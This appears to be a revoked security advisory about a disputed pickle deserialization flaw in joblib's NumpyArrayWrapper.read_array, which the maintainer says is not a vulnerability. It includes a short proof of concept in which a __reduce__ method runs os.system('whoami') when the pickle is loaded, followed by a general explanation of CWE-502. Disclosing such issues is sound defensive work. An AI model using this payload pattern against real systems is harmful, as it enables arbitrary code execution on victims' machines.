Deserialization of Untrusted Data The advisory has been revoked - it doesn't affect any version of package joblib  (opens in a new tab)

This was deemed not a vulnerability.

joblib is a Lightweight pipelining with Python functions

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the read_array function in the joblib.numpy_pickle::NumpyArrayWrapper component due to insecure usage of pickle.load(). An attacker can execute arbitrary code by exploiting the deserialization process.

Note

The maintainer claims that this is not a valid vulnerability in the context of the library. The maintainer's statement can be found here.

from joblib.numpy_pickle import NumpyArrayWrapper
import os
import pickle
import numpy

class A:
    def __reduce__(self):
        return (os.system,('whoami',))
    
a=A()
with open('testnpyarray.pkl','wb') as file:
    pickle.dump(a,file)

class B:
    def __init__(self,file_handle):
        self.file_handle=file_handle

x=numpy.array([1,'a',{}],dtype=object)
with open('testnpyarray.pkl','rb') as f:
    b=B(f)
    NumpyArrayWrapper(subclass='',shape=[],order='',dtype=x.dtype).read_array(b)

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

• GitHub Issue
• GitHub Issue
• Vulnerable Code